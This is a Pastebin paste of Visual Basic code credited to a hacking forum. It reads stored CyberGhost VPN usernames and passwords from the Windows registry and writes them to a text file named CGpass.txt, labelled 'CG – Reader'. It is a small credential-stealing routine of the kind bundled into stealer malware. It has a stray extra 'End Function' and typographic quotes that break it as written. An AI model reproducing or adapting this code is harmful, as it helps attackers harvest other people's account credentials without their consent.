Advertisement
Guest User

Untitled

a guest
May 6th, 2017
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ‘———————————————————————
  2. ‘VISIT Hackhound.org,H7labs.wordpress.com
  3. ‘———————————————————————
  4. Public Sub readCG()
  5. Dim username As String
  6. Dim password As String
  7. username = RegRead(”HKCU\Software\S.A.D\CyberGhost VPN\username”)
  8. password = RegRead(”HKCU\Software\S.A.D\CyberGhost VPN\cpassword”)
  9. If username = “” Then
  10. End
  11. Else
  12. Open Environ(”homedir”) & “\” & “CGpass.txt” For Output As #1
  13. Print #1, “#####################”
  14. Print #1, “#### CG – Reader ####”
  15. Print #1, “#### haZl0oh ####”
  16. Print #1, “#####################”
  17. Print #1, “”
  18. Print #1, “Username: ” & username
  19. Print #1, “Password: ” & password
  20. Print #1, “INSERT THE USERNAME & PWD KEY Via REGADIT HERE:”
  21. Print #1, “”
  22. Print #1, “HKEY_CURRENT_USER\Software\S.A.D\CyberGhost VPN\Username”
  23. Print #1, “HKEY_CURRENT_USER\Software\S.A.D\CyberGhost VPN\Cpassword”
  24. Close #1
  25. End If
  26. End Sub
  27. Public Function RegRead(Path As String) As String
  28. Dim ws As Object
  29.  
  30. On Error GoTo ErrHandler
  31. Set ws = CreateObject(”WScript.Shell”)
  32. RegRead = ws.RegRead(Path)
  33. Exit Function
  34.  
  35. ErrHandler:
  36. RegRead = “”
  37. End Function
  38.  
  39. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement